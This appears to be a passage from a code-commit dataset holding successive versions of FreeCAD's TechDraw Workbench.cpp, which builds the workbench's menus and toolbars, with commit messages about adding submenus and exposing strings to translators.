\"TechDraw_Symbol\";\r\n    *decor << \"TechDraw_Image\";\r\n    *decor << \"TechDraw_ToggleFrame\";\r\n\r\n    Gui::ToolBarItem *anno = new Gui::ToolBarItem(root);\r\n    anno->setCommand(\"TechDraw Annotation\");\r\n    *anno << \"TechDraw_Annotation\";\r\n    *anno << \"TechDraw_LeaderLine\";\r\n    *anno << \"TechDraw_RichTextAnnotation\";\r\n    *anno << \"TechDraw_CosmeticVertexGroup\";\r\n    *anno << \"TechDraw_CenterLineGroup\";\r\n\/\/    *anno << \"TechDraw_FaceCenterLine\";\r\n\/\/    *anno << \"TechDraw_2LineCenterLine\";\r\n\/\/    *anno << \"TechDraw_2PointCenterLine\";\r\n    *anno << \"TechDraw_2PointCosmeticLine\";\r\n    *anno << \"TechDraw_CosmeticEraser\";\r\n    *anno << \"TechDraw_DecorateLine\";\r\n    *anno << \"TechDraw_ShowAll\";\r\n    *anno << \"TechDraw_WeldSymbol\";\r\n\r\n    return root;\r\n}\r\n<commit_msg>TechDraw: Expose strings in Workbench.cpp to translators<commit_after>\/***************************************************************************\r\n *   Copyright (c) 2005 Werner Mayer <wmayer[at]users.sourceforge.net>     *\r\n *   Copyright (c) 2013 Luke Parry <l.parry@warwick.ac.uk>                 *\r\n *                                                                         *\r\n *   This file is part of the FreeCAD CAx development system.              *\r\n *                                                                         *\r\n *   This library is free software; you can redistribute it and\/or         *\r\n *   modify it under the terms of the GNU Library General Public           *\r\n *   License as published by the Free Software Foundation; either          *\r\n *   version 2 of the License, or (at your option) any later version.      *\r\n *                                                                         *\r\n *   This library  is distributed in the hope that it will be useful,      *\r\n *   but WITHOUT ANY WARRANTY; without even the implied warranty of        *\r\n *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the         *\r\n *   GNU Library General Public License for more details.                  *\r\n *                                                                         *\r\n *   You should have received a copy of the GNU Library General Public     *\r\n *   License along with this library; see the file COPYING.LIB. If not,    *\r\n *   write to the Free Software Foundation, Inc., 59 Temple Place,         *\r\n *   Suite 330, Boston, MA  02111-1307, USA                                *\r\n *                                                                         *\r\n ***************************************************************************\/\r\n\r\n#include \"PreCompiled.h\"\r\n\r\n#ifndef _PreComp_\r\n# include <qobject.h>\r\n#endif\r\n\r\n#include \"Workbench.h\"\r\n#include <Gui\/MenuManager.h>\r\n#include <Gui\/ToolBarManager.h>\r\n\r\nusing namespace TechDrawGui;\r\n\r\n#if 0 \/\/ needed for Qt's lupdate utility\r\n    qApp->translate(\"Workbench\", \"Dimensions\");\r\n    qApp->translate(\"Workbench\", \"Annotations\");\r\n    qApp->translate(\"Workbench\", \"Add Lines\");\r\n    qApp->translate(\"Workbench\", \"Add Vertices\");    \r\n    qApp->translate(\"Workbench\", \"TechDraw\");\r\n    qApp->translate(\"Workbench\", \"TechDraw Pages\");\r\n    qApp->translate(\"Workbench\", \"TechDraw Views\");\r\n    qApp->translate(\"Workbench\", \"TechDraw Clips\");\r\n    qApp->translate(\"Workbench\", \"TechDraw Dimensions\");\r\n    qApp->translate(\"Workbench\", \"TechDraw File Access\");\r\n    qApp->translate(\"Workbench\", \"TechDraw Decoration\");\r\n    qApp->translate(\"Workbench\", \"TechDraw Annotation\");\r\n    qApp->translate(\"Workbench\", \"Views\");\r\n#endif\r\n\r\nTYPESYSTEM_SOURCE(TechDrawGui::Workbench, Gui::StdWorkbench)\r\n\r\nWorkbench::Workbench()\r\n{\r\n}\r\n\r\nWorkbench::~Workbench()\r\n{\r\n}\r\n\r\nGui::MenuItem* Workbench::setupMenuBar() const\r\n{\r\n    Gui::MenuItem* root = StdWorkbench::setupMenuBar();\r\n    Gui::MenuItem* item = root->findItem(\"&Windows\");\r\n    Gui::MenuItem* draw = new Gui::MenuItem;\r\n    root->insertItem(item, draw);\r\n\r\n    \/\/ dimensions\r\n    Gui::MenuItem* dimensions = new Gui::MenuItem;\r\n    dimensions->setCommand(\"Dimensions\");\r\n    *dimensions << \"TechDraw_LengthDimension\";\r\n    *dimensions << \"TechDraw_HorizontalDimension\";\r\n    *dimensions << \"TechDraw_VerticalDimension\";\r\n    *dimensions << \"TechDraw_RadiusDimension\";\r\n    *dimensions << \"TechDraw_DiameterDimension\";\r\n    *dimensions << \"TechDraw_AngleDimension\";\r\n    *dimensions << \"TechDraw_HorizontalExtentDimension\";\r\n    *dimensions << \"TechDraw_VerticalExtentDimension\";\r\n    *dimensions << \"TechDraw_LinkDimension\";\r\n    *dimensions << \"TechDraw_LandmarkDimension\";\r\n\r\n    \/\/ annotations\r\n    Gui::MenuItem* annotations = new Gui::MenuItem;\r\n    annotations->setCommand(\"Annotations\");\r\n    *annotations << \"TechDraw_Annotation\";\r\n    *annotations << \"TechDraw_RichTextAnnotation\";\r\n    *annotations << \"TechDraw_Balloon\";\r\n\r\n    \/\/ lines\r\n    Gui::MenuItem* lines = new Gui::MenuItem;\r\n    lines->setCommand(\"Add Lines\");\r\n    *lines << \"TechDraw_LeaderLine\";\r\n    *lines << \"TechDraw_FaceCenterLine\";\r\n    *lines << \"TechDraw_2LineCenterLine\";\r\n    *lines << \"TechDraw_2PointCenterLine\";\r\n    *lines << \"TechDraw_2PointCosmeticLine\";\r\n\r\n    \/\/ vertices\r\n    Gui::MenuItem* vertices = new Gui::MenuItem;\r\n    vertices->setCommand(\"Add Vertices\");\r\n    *vertices << \"TechDraw_CosmeticVertex\";\r\n    *vertices << \"TechDraw_Midpoints\";\r\n    *vertices << \"TechDraw_Quadrants\";\r\n\r\n    \/\/ main menu\r\n    draw->setCommand(\"TechDraw\");\r\n    *draw << \"TechDraw_PageDefault\";\r\n    *draw << \"TechDraw_PageTemplate\";\r\n    *draw << \"TechDraw_RedrawPage\";\r\n    *draw << \"Separator\";\r\n    *draw << \"TechDraw_View\";\r\n    *draw << \"TechDraw_ActiveView\";\r\n    *draw << \"TechDraw_ProjectionGroup\";\r\n    *draw << \"TechDraw_SectionView\";\r\n    *draw << \"TechDraw_DetailView\";\r\n    *draw << \"Separator\";\r\n    *draw << \"TechDraw_DraftView\";\r\n    *draw << \"TechDraw_ArchView\";\r\n    *draw << \"TechDraw_SpreadsheetView\";\r\n    *draw << \"Separator\";\r\n    *draw << \"TechDraw_ClipGroup\";\r\n    *draw << \"TechDraw_ClipGroupAdd\";\r\n    *draw << \"TechDraw_ClipGroupRemove\";\r\n    *draw << \"Separator\";\r\n    *draw << dimensions;\r\n    *draw << \"Separator\";\r\n    *draw << \"TechDraw_ExportPageSVG\";\r\n    *draw << \"TechDraw_ExportPageDXF\";\r\n    *draw << \"Separator\";\r\n    *draw << \"TechDraw_Hatch\";\r\n    *draw << \"TechDraw_GeometricHatch\";\r\n    *draw << \"TechDraw_Symbol\";\r\n    *draw << \"TechDraw_Image\";\r\n    *draw << \"TechDraw_ToggleFrame\";\r\n    *draw << \"Separator\";\r\n    *draw << annotations;\r\n    *draw << lines;\r\n    *draw << vertices;\r\n    *draw << \"TechDraw_CosmeticEraser\";\r\n    *draw << \"TechDraw_DecorateLine\";\r\n    *draw << \"TechDraw_ShowAll\";\r\n    *draw << \"TechDraw_WeldSymbol\";\r\n    return root;\r\n}\r\n\r\nGui::ToolBarItem* Workbench::setupToolBars() const\r\n{\r\n    Gui::ToolBarItem* root = StdWorkbench::setupToolBars();\r\n    Gui::ToolBarItem* pages = new Gui::ToolBarItem(root);\r\n    pages->setCommand(\"TechDraw Pages\");\r\n    *pages << \"TechDraw_PageDefault\";\r\n    *pages << \"TechDraw_PageTemplate\";\r\n    *pages << \"TechDraw_RedrawPage\";\r\n\r\n    Gui::ToolBarItem *views = new Gui::ToolBarItem(root);\r\n    views->setCommand(\"TechDraw Views\");\r\n    *views << \"TechDraw_View\";\r\n    *views << \"TechDraw_ActiveView\";\r\n    *views << \"TechDraw_ProjectionGroup\";\r\n    *views << \"TechDraw_SectionView\";\r\n    *views << \"TechDraw_DetailView\";\r\n    *views << \"TechDraw_DraftView\";\r\n    *views << \"TechDraw_ArchView\";\r\n    *views << \"TechDraw_SpreadsheetView\";\r\n\r\n    Gui::ToolBarItem *clips = new Gui::ToolBarItem(root);\r\n    clips->setCommand(\"TechDraw Clips\");\r\n    *clips << \"TechDraw_ClipGroup\";\r\n    *clips << \"TechDraw_ClipGroupAdd\";\r\n    *clips << \"TechDraw_ClipGroupRemove\";\r\n\r\n    Gui::ToolBarItem *dims = new Gui::ToolBarItem(root);\r\n    dims->setCommand(\"TechDraw Dimensions\");\r\n    *dims << \"TechDraw_LengthDimension\";\r\n    *dims << \"TechDraw_HorizontalDimension\";\r\n    *dims << \"TechDraw_VerticalDimension\";\r\n    *dims << \"TechDraw_RadiusDimension\";\r\n    *dims << \"TechDraw_DiameterDimension\";\r\n    *dims << \"TechDraw_AngleDimension\";\r\n    *dims << \"TechDraw_3PtAngleDimension\";\r\n    *dims << \"TechDraw_ExtentGroup\";\r\n\/\/    *dims << \"TechDraw_HorizontalExtentDimension\";\r\n\/\/    *dims << \"TechDraw_VerticalExtentDimension\";\r\n    *dims << \"TechDraw_LinkDimension\";\r\n    *dims << \"TechDraw_Balloon\";\r\n    *dims << \"TechDraw_LandmarkDimension\";\r\n\/\/    *dims << \"TechDraw_Dimension\"\r\n\r\n    Gui::ToolBarItem *file = new Gui::ToolBarItem(root);\r\n    file->setCommand(\"TechDraw File Access\");\r\n    *file << \"TechDraw_ExportPageSVG\";\r\n    *file << \"TechDraw_ExportPageDXF\";\r\n\r\n    Gui::ToolBarItem *decor = new Gui::ToolBarItem(root);\r\n    decor->setCommand(\"TechDraw Decoration\");\r\n    *decor << \"TechDraw_Hatch\";\r\n    *decor << \"TechDraw_GeometricHatch\";\r\n    *decor << \"TechDraw_Symbol\";\r\n    *decor << \"TechDraw_Image\";\r\n    *decor << \"TechDraw_ToggleFrame\";\r\n\r\n    Gui::ToolBarItem *anno = new Gui::ToolBarItem(root);\r\n    anno->setCommand(\"TechDraw Annotation\");\r\n    *anno << \"TechDraw_Annotation\";\r\n    *anno << \"TechDraw_LeaderLine\";\r\n    *anno << \"TechDraw_RichTextAnnotation\";\r\n    *anno << \"TechDraw_CosmeticVertexGroup\";\r\n    *anno << \"TechDraw_CenterLineGroup\";\r\n\/\/    *anno << \"TechDraw_FaceCenterLine\";\r\n\/\/    *anno << \"TechDraw_2LineCenterLine\";\r\n\/\/    *anno << \"TechDraw_2PointCenterLine\";\r\n    *anno << \"TechDraw_2PointCosmeticLine\";\r\n    *anno << \"TechDraw_CosmeticEraser\";\r\n    *anno << \"TechDraw_DecorateLine\";\r\n    *anno << \"TechDraw_ShowAll\";\r\n    *anno << \"TechDraw_WeldSymbol\";\r\n    return root;\r\n}\r\n\r\nGui::ToolBarItem* Workbench::setupCommandBars() const\r\n{\r\n    Gui::ToolBarItem* root = new Gui::ToolBarItem;\r\n    Gui::ToolBarItem *pages = new Gui::ToolBarItem(root);\r\n    pages->setCommand(\"TechDraw Pages\");\r\n    *pages << \"TechDraw_PageDefault\";\r\n    *pages << \"TechDraw_PageTemplate\";\r\n    *pages << \"TechDraw_RedrawPage\";\r\n\r\n    Gui::ToolBarItem *views = new Gui::ToolBarItem(root);\r\n    views->setCommand(\"Views\");\r\n    *views << \"TechDraw_View\";\r\n    *views << \"TechDraw_ActiveView\";\r\n\/\/    *views << \"TechDraw_NewMulti\";    \/\/deprecated\r\n    *views << \"TechDraw_ProjectionGroup\";\r\n    *views << \"TechDraw_SectionView\";\r\n    *views << \"TechDraw_DetailView\";\r\n    *views << \"TechDraw_DraftView\";\r\n    *views << \"TechDraw_SpreadsheetView\";\r\n\r\n    Gui::ToolBarItem *clips = new Gui::ToolBarItem(root);\r\n    clips->setCommand(\"TechDraw Clips\");\r\n    *clips << \"TechDraw_ClipGroup\";\r\n    *clips << \"TechDraw_ClipGroupAdd\";\r\n    *clips << \"TechDraw_ClipGroupRemove\";\r\n\r\n    Gui::ToolBarItem *dims = new Gui::ToolBarItem(root);\r\n    dims->setCommand(\"TechDraw Dimensions\");\r\n    *dims << \"TechDraw_LengthDimension\";\r\n    *dims << \"TechDraw_HorizontalDimension\";\r\n    *dims << \"TechDraw_VerticalDimension\";\r\n    *dims << \"TechDraw_RadiusDimension\";\r\n    *dims << \"TechDraw_DiameterDimension\";\r\n    *dims << \"TechDraw_AngleDimension\";\r\n    *dims << \"TechDraw_3PtAngleDimension\";\r\n    *dims << \"TechDraw_ExtentGroup\";\r\n\/\/    *dims << \"TechDraw_HorizontalExtentDimension\";\r\n\/\/    *dims << \"TechDraw_VerticalExtentDimension\";\r\n    *dims << \"TechDraw_LinkDimension\";\r\n    *dims << \"TechDraw_Balloon\";\r\n    *dims << \"TechDraw_LandmarkDimension\";\r\n\/\/    *dims << \"TechDraw_Dimension\";\r\n\r\n    Gui::ToolBarItem *file = new Gui::ToolBarItem(root);\r\n    file->setCommand(\"TechDraw File Access\");\r\n    *file << \"TechDraw_ExportPageSVG\";\r\n    *file << \"TechDraw_ExportPageDXF\";\r\n\r\n    Gui::ToolBarItem *decor = new Gui::ToolBarItem(root);\r\n    decor->setCommand(\"TechDraw Decoration\");\r\n    *decor << \"TechDraw_Hatch\";\r\n    *decor << \"TechDraw_GeometricHatch\";\r\n    *decor << \"TechDraw_Symbol\";\r\n    *decor << \"TechDraw_Image\";\r\n    *decor << \"TechDraw_ToggleFrame\";\r\n\r\n    Gui::ToolBarItem *anno = new Gui::ToolBarItem(root);\r\n    anno->setCommand(\"TechDraw Annotation\");\r\n    *anno << \"TechDraw_Annotation\";\r\n    *anno << \"TechDraw_LeaderLine\";\r\n    *anno << \"TechDraw_RichTextAnnotation\";\r\n    *anno << \"TechDraw_CosmeticVertexGroup\";\r\n    *anno << \"TechDraw_CenterLineGroup\";\r\n\/\/    *anno << \"TechDraw_FaceCenterLine\";\r\n\/\/    *anno << \"TechDraw_2LineCenterLine\";\r\n\/\/    *anno << \"TechDraw_2PointCenterLine\";\r\n    *anno << \"TechDraw_2PointCosmeticLine\";\r\n    *anno << \"TechDraw_CosmeticEraser\";\r\n    *anno << \"TechDraw_DecorateLine\";\r\n    *anno << \"TechDraw_ShowAll\";\r\n    *anno << \"TechDraw_WeldSymbol\";\r\n\r\n    return root;\r\n}\r\n<|endoftext|>"}
{"text":"<commit_before>\/***************************************************************************\r\n *   Copyright (c) 2005 Werner Mayer <wmayer[at]users.sourceforge.net>     *\r\n *   Copyright (c) 2013 Luke Parry <l.parry@warwick.ac.uk>                 *\r\n *                                                                         *\r\n *   This file is part of the FreeCAD CAx development system.              *\r\n *                                                                         *\r\n *   This library is free software; you can redistribute it and\/or         *\r\n *   modify it under the terms of the GNU Library General Public           *\r\n *   License as published by the Free Software Foundation; either          *\r\n *   version 2 of the License, or (at your option) any later version.      *\r\n *                                                                         *\r\n *   This library  is distributed in the hope that it will be useful,      *\r\n *   but WITHOUT ANY WARRANTY; without even the implied warranty of        *\r\n *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the         *\r\n *   GNU Library General Public License for more details.                  *\r\n *                                                                         *\r\n *   You should have received a copy of the GNU Library General Public     *\r\n *   License along with this library; see the file COPYING.LIB. If not,    *\r\n *   write to the Free Software Foundation, Inc., 59 Temple Place,         *\r\n *   Suite 330, Boston, MA  02111-1307, USA                                *\r\n *                                                                         *\r\n ***************************************************************************\/\r\n\r\n#include \"PreCompiled.h\"\r\n\r\n#ifndef _PreComp_\r\n# include <qobject.h>\r\n#endif\r\n\r\n#include \"Workbench.h\"\r\n#include <Gui\/MenuManager.h>\r\n#include <Gui\/ToolBarManager.h>\r\n\r\nusing namespace TechDrawGui;\r\n\r\nTYPESYSTEM_SOURCE(TechDrawGui::Workbench, Gui::StdWorkbench)\r\n\r\nWorkbench::Workbench()\r\n{\r\n}\r\n\r\nWorkbench::~Workbench()\r\n{\r\n}\r\n\r\nGui::MenuItem* Workbench::setupMenuBar() const\r\n{\r\n    Gui::MenuItem* root = StdWorkbench::setupMenuBar();\r\n    Gui::MenuItem* item = root->findItem(\"&Windows\");\r\n\r\n    Gui::MenuItem* draw = new Gui::MenuItem;\r\n    root->insertItem(item, draw);\r\n    draw->setCommand(\"TechDraw\");\r\n    *draw << \"TechDraw_NewPageDef\";\r\n    *draw << \"TechDraw_NewPage\";\r\n    *draw << \"TechDraw_Redraw\";\r\n    *draw << \"Separator\";\r\n    *draw << \"TechDraw_NewView\";\r\n    *draw << \"TechDraw_NewActiveView\";\r\n\/\/    *draw << \"TechDraw_NewMulti\";     \/\/deprecated\r\n    *draw << \"TechDraw_ProjGroup\";\r\n    *draw << \"TechDraw_NewViewSection\";\r\n    *draw << \"TechDraw_NewViewDetail\";\r\n    *draw << \"Separator\";\r\n    *draw << \"TechDraw_DraftView\";\r\n    *draw << \"TechDraw_ArchView\";\r\n    *draw << \"TechDraw_Spreadsheet\";\r\n    *draw << \"Separator\";\r\n    *draw << \"TechDraw_Clip\";\r\n    *draw << \"TechDraw_ClipPlus\";\r\n    *draw << \"TechDraw_ClipMinus\";\r\n    *draw << \"Separator\";\r\n    *draw << \"TechDraw_NewLengthDimension\";\r\n    *draw << \"TechDraw_NewDistanceXDimension\";\r\n    *draw << \"TechDraw_NewDistanceYDimension\";\r\n    *draw << \"TechDraw_NewRadiusDimension\";\r\n    *draw << \"TechDraw_NewDiameterDimension\";\r\n    *draw << \"TechDraw_NewAngleDimension\";\r\n    *draw << \"TechDraw_HorizontalExtent\";\r\n    *draw << \"TechDraw_VerticalExtent\";\r\n    *draw << \"TechDraw_LinkDimension\";\r\n    *draw << \"TechDraw_NewBalloon\";\r\n    *draw << \"Separator\";\r\n    *draw << \"TechDraw_ExportPage\";\r\n    *draw << \"TechDraw_ExportPageDxf\";\r\n    *draw << \"Separator\";\r\n    *draw << \"TechDraw_NewHatch\";\r\n    *draw << \"TechDraw_NewGeomHatch\";\r\n    *draw << \"TechDraw_Symbol\";\r\n    *draw << \"TechDraw_Image\";\r\n    *draw << \"TechDraw_ToggleFrame\";\r\n    *draw << \"Separator\";\r\n    *draw << \"TechDraw_Annotation\";\r\n    *draw << \"TechDraw_LeaderLine\";\r\n    *draw << \"TechDraw_RichAnno\";\r\n    *draw << \"TechDraw_CosmeticVertex\";\r\n    *draw << \"TechDraw_Midpoints\";\r\n    *draw << \"TechDraw_Quadrant\";\r\n    *draw << \"TechDraw_FaceCenterLine\";\r\n    *draw << \"TechDraw_2LineCenterLine\";\r\n    *draw << \"TechDraw_2PointCenterLine\";\r\n    *draw << \"TechDraw_CosmeticEraser\";\r\n    *draw << \"TechDraw_DecorateLine\";\r\n    *draw << \"TechDraw_ShowAll\";\r\n    *draw << \"TechDraw_WeldSymbol\";\r\n    return root;\r\n}\r\n\r\nGui::ToolBarItem* Workbench::setupToolBars() const\r\n{\r\n    Gui::ToolBarItem* root = StdWorkbench::setupToolBars();\r\n    Gui::ToolBarItem* pages = new Gui::ToolBarItem(root);\r\n    pages->setCommand(\"TechDraw Pages\");\r\n    *pages << \"TechDraw_NewPageDef\";\r\n    *pages << \"TechDraw_NewPage\";\r\n    *pages << \"TechDraw_Redraw\";\r\n\r\n    Gui::ToolBarItem *views = new Gui::ToolBarItem(root);\r\n    views->setCommand(\"TechDraw Views\");\r\n    *views << \"TechDraw_NewView\";\r\n    *views << \"TechDraw_NewActiveView\";\r\n\/\/    *views << \"TechDraw_NewMulti\";    \/\/deprecated\r\n    *views << \"TechDraw_ProjGroup\";\r\n    *views << \"TechDraw_NewViewSection\";\r\n    *views << \"TechDraw_NewViewDetail\";\r\n    *views << \"TechDraw_DraftView\";\r\n    *views << \"TechDraw_ArchView\";\r\n    *views << \"TechDraw_Spreadsheet\";\r\n\r\n    Gui::ToolBarItem *clips = new Gui::ToolBarItem(root);\r\n    clips->setCommand(\"TechDraw Clips\");\r\n    *clips << \"TechDraw_Clip\";\r\n    *clips << \"TechDraw_ClipPlus\";\r\n    *clips << \"TechDraw_ClipMinus\";\r\n\r\n    Gui::ToolBarItem *dims = new Gui::ToolBarItem(root);\r\n    dims->setCommand(\"TechDraw Dimensions\");\r\n    *dims << \"TechDraw_NewLengthDimension\";\r\n    *dims << \"TechDraw_NewDistanceXDimension\";\r\n    *dims << \"TechDraw_NewDistanceYDimension\";\r\n    *dims << \"TechDraw_NewRadiusDimension\";\r\n    *dims << \"TechDraw_NewDiameterDimension\";\r\n    *dims << \"TechDraw_NewAngleDimension\";\r\n    *dims << \"TechDraw_NewAngle3PtDimension\";\r\n    *dims << \"TechDraw_ExtentGrp\";\r\n\/\/    *dims << \"TechDraw_HorizontalExtent\";\r\n\/\/    *dims << \"TechDraw_VerticalExtent\";\r\n    *dims << \"TechDraw_LinkDimension\";\r\n    *dims << \"TechDraw_NewBalloon\";\r\n\/\/    *dims << \"TechDraw_NewDimension\"\r\n\r\n    Gui::ToolBarItem *file = new Gui::ToolBarItem(root);\r\n    file->setCommand(\"TechDraw File Access\");\r\n    *file << \"TechDraw_ExportPage\";\r\n    *file << \"TechDraw_ExportPageDxf\";\r\n\r\n    Gui::ToolBarItem *decor = new Gui::ToolBarItem(root);\r\n    decor->setCommand(\"TechDraw Decoration\");\r\n    *decor << \"TechDraw_NewHatch\";\r\n    *decor << \"TechDraw_NewGeomHatch\";\r\n    *decor << \"TechDraw_Symbol\";\r\n    *decor << \"TechDraw_Image\";\r\n    *decor << \"TechDraw_ToggleFrame\";\r\n\r\n    Gui::ToolBarItem *anno = new Gui::ToolBarItem(root);\r\n    anno->setCommand(\"TechDraw Annotation\");\r\n    *anno << \"TechDraw_Annotation\";\r\n    *anno << \"TechDraw_LeaderLine\";\r\n    *anno << \"TechDraw_RichAnno\";\r\n    *anno << \"TechDraw_CosmeticVertexGrp\";\r\n    *anno << \"TechDraw_CenterLineGrp\";\r\n\/\/    *anno << \"TechDraw_FaceCenterLine\";\r\n\/\/    *anno << \"TechDraw_2LineCenterLine\";\r\n\/\/    *anno << \"TechDraw_2PointCenterLine\";\r\n    *anno << \"TechDraw_CosmeticEraser\";\r\n    *anno << \"TechDraw_DecorateLine\";\r\n    *anno << \"TechDraw_ShowAll\";\r\n    *anno << \"TechDraw_WeldSymbol\";\r\n    return root;\r\n}\r\n\r\nGui::ToolBarItem* Workbench::setupCommandBars() const\r\n{\r\n    Gui::ToolBarItem* root = new Gui::ToolBarItem;\r\n    Gui::ToolBarItem *pages = new Gui::ToolBarItem(root);\r\n    pages->setCommand(\"TechDraw Pages\");\r\n    *pages << \"TechDraw_NewPageDef\";\r\n    *pages << \"TechDraw_NewPage\";\r\n    *pages << \"TechDraw_Redraw\";\r\n\r\n    Gui::ToolBarItem *views = new Gui::ToolBarItem(root);\r\n    views->setCommand(\"Views\");\r\n    *views << \"TechDraw_NewView\";\r\n    *views << \"TechDraw_NewActiveView\";\r\n\/\/    *views << \"TechDraw_NewMulti\";    \/\/deprecated\r\n    *views << \"TechDraw_ProjGroup\";\r\n    *views << \"TechDraw_NewViewSection\";\r\n    *views << \"TechDraw_NewViewDetail\";\r\n    *views << \"TechDraw_DraftView\";\r\n    *views << \"TechDraw_Spreadsheet\";\r\n\r\n    Gui::ToolBarItem *clips = new Gui::ToolBarItem(root);\r\n    clips->setCommand(\"TechDraw Clips\");\r\n    *clips << \"TechDraw_Clip\";\r\n    *clips << \"TechDraw_ClipPlus\";\r\n    *clips << \"TechDraw_ClipMinus\";\r\n\r\n    Gui::ToolBarItem *dims = new Gui::ToolBarItem(root);\r\n    dims->setCommand(\"TechDraw Dimensions\");\r\n    *dims << \"TechDraw_NewLengthDimension\";\r\n    *dims << \"TechDraw_NewDistanceXDimension\";\r\n    *dims << \"TechDraw_NewDistanceYDimension\";\r\n    *dims << \"TechDraw_NewRadiusDimension\";\r\n    *dims << \"TechDraw_NewDiameterDimension\";\r\n    *dims << \"TechDraw_NewAngleDimension\";\r\n    *dims << \"TechDraw_NewAngle3PtDimension\";\r\n    *dims << \"TechDraw_ExtentGrp\";\r\n\/\/    *dims << \"TechDraw_HorizontalExtent\";\r\n\/\/    *dims << \"TechDraw_VerticalExtent\";\r\n    *dims << \"TechDraw_LinkDimension\";\r\n    *dims << \"TechDraw_NewBalloon\";\r\n\/\/    *dims << \"TechDraw_NewDimension\";\r\n\r\n    Gui::ToolBarItem *file = new Gui::ToolBarItem(root);\r\n    file->setCommand(\"TechDraw File Access\");\r\n    *file << \"TechDraw_ExportPage\";\r\n    *file << \"TechDraw_ExportPageDxf\";\r\n \r\n    Gui::ToolBarItem *decor = new Gui::ToolBarItem(root);\r\n    decor->setCommand(\"TechDraw Decoration\");\r\n    *decor << \"TechDraw_NewHatch\";\r\n    *decor << \"TechDraw_NewGeomHatch\";\r\n    *decor << \"TechDraw_Symbol\";\r\n    *decor << \"TechDraw_Image\";\r\n    *decor << \"TechDraw_ToggleFrame\";\r\n\r\n    Gui::ToolBarItem *anno = new Gui::ToolBarItem(root);\r\n    anno->setCommand(\"TechDraw Annotation\");\r\n    *anno << \"TechDraw_Annotation\";\r\n    *anno << \"TechDraw_LeaderLine\";\r\n    *anno << \"TechDraw_RichAnno\";\r\n    *anno << \"TechDraw_CosmeticVertexGrp\";\r\n    *anno << \"TechDraw_CenterLineGrp\";\r\n\/\/    *anno << \"TechDraw_FaceCenterLine\";\r\n\/\/    *anno << \"TechDraw_2LineCenterLine\";\r\n\/\/    *anno << \"TechDraw_2PointCenterLine\";\r\n    *anno << \"TechDraw_CosmeticEraser\";\r\n    *anno << \"TechDraw_DecorateLine\";\r\n    *anno << \"TechDraw_ShowAll\";\r\n    *anno << \"TechDraw_WeldSymbol\";\r\n\r\n    return root;\r\n}\r\n<commit_msg>TD Workbench.cpp: add submenus<commit_after>\/***************************************************************************\r\n *   Copyright (c) 2005 Werner Mayer <wmayer[at]users.sourceforge.net>     *\r\n *   Copyright (c) 2013 Luke Parry <l.parry@warwick.ac.uk>                 *\r\n *                                                                         *\r\n *   This file is part of the FreeCAD CAx development system.              *\r\n *                                                                         *\r\n *   This library is free software; you can redistribute it and\/or         *\r\n *   modify it under the terms of the GNU Library General Public           *\r\n *   License as published by the Free Software Foundation; either          *\r\n *   version 2 of the License, or (at your option) any later version.      *\r\n *                                                                         *\r\n *   This library  is distributed in the hope that it will be useful,      *\r\n *   but WITHOUT ANY WARRANTY; without even the implied warranty of        *\r\n *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the         *\r\n *   GNU Library General Public License for more details.                  *\r\n *                                                                         *\r\n *   You should have received a copy of the GNU Library General Public     *\r\n *   License along with this library; see the file COPYING.LIB. If not,    *\r\n *   write to the Free Software Foundation, Inc., 59 Temple Place,         *\r\n *   Suite 330, Boston, MA  02111-1307, USA                                *\r\n *                                                                         *\r\n ***************************************************************************\/\r\n\r\n#include \"PreCompiled.h\"\r\n\r\n#ifndef _PreComp_\r\n# include <qobject.h>\r\n#endif\r\n\r\n#include \"Workbench.h\"\r\n#include <Gui\/MenuManager.h>\r\n#include <Gui\/ToolBarManager.h>\r\n\r\nusing namespace TechDrawGui;\r\n\r\nTYPESYSTEM_SOURCE(TechDrawGui::Workbench, Gui::StdWorkbench)\r\n\r\nWorkbench::Workbench()\r\n{\r\n}\r\n\r\nWorkbench::~Workbench()\r\n{\r\n}\r\n\r\nGui::MenuItem* Workbench::setupMenuBar() const\r\n{\r\n    Gui::MenuItem* root = StdWorkbench::setupMenuBar();\r\n    Gui::MenuItem* item = root->findItem(\"&Windows\");\r\n    Gui::MenuItem* draw = new Gui::MenuItem;\r\n    root->insertItem(item, draw);\r\n\r\n\t\/\/ dimensions\r\n\tGui::MenuItem* dimensions = new Gui::MenuItem;\r\n\tdimensions->setCommand(\"Dimensions\");\r\n\t*dimensions << \"TechDraw_NewLengthDimension\" << \"TechDraw_NewDistanceXDimension\" << \"TechDraw_NewDistanceYDimension\"\r\n\t\t<< \"TechDraw_NewRadiusDimension\" << \"TechDraw_NewDiameterDimension\" << \"TechDraw_NewAngleDimension\"\r\n\t\t<< \"TechDraw_HorizontalExtent\" << \"TechDraw_VerticalExtent\" << \"TechDraw_LinkDimension\";\r\n\r\n\t\/\/ annotations\r\n\tGui::MenuItem* annotations = new Gui::MenuItem;\r\n\tannotations->setCommand(\"Annotations\");\r\n\t*annotations << \"TechDraw_Annotation\" << \"TechDraw_RichAnno\" << \"TechDraw_NewBalloon\";\r\n\r\n\t\/\/ lines\r\n\tGui::MenuItem* lines = new Gui::MenuItem;\r\n\tlines->setCommand(\"Add Lines\");\r\n\t*lines << \"TechDraw_LeaderLine\" << \"TechDraw_FaceCenterLine\"\r\n\t\t<< \"TechDraw_2LineCenterLine\" << \"TechDraw_2PointCenterLine\";\r\n\r\n\t\/\/ vertices\r\n\tGui::MenuItem* vertices = new Gui::MenuItem;\r\n\tvertices->setCommand(\"Add Vertices\");\r\n\t*vertices << \"TechDraw_CosmeticVertex\" << \"TechDraw_Midpoints\"\r\n\t\t<< \"TechDraw_Quadrant\";\r\n\r\n\t\/\/ main menu\r\n\tdraw->setCommand(\"TechDraw\");\r\n    *draw << \"TechDraw_NewPageDef\";\r\n    *draw << \"TechDraw_NewPage\";\r\n    *draw << \"TechDraw_Redraw\";\r\n    *draw << \"Separator\";\r\n    *draw << \"TechDraw_NewView\";\r\n    *draw << \"TechDraw_NewActiveView\";\r\n    *draw << \"TechDraw_ProjGroup\";\r\n    *draw << \"TechDraw_NewViewSection\";\r\n    *draw << \"TechDraw_NewViewDetail\";\r\n    *draw << \"Separator\";\r\n    *draw << \"TechDraw_DraftView\";\r\n    *draw << \"TechDraw_ArchView\";\r\n    *draw << \"TechDraw_Spreadsheet\";\r\n    *draw << \"Separator\";\r\n    *draw << \"TechDraw_Clip\";\r\n    *draw << \"TechDraw_ClipPlus\";\r\n    *draw << \"TechDraw_ClipMinus\";\r\n    *draw << 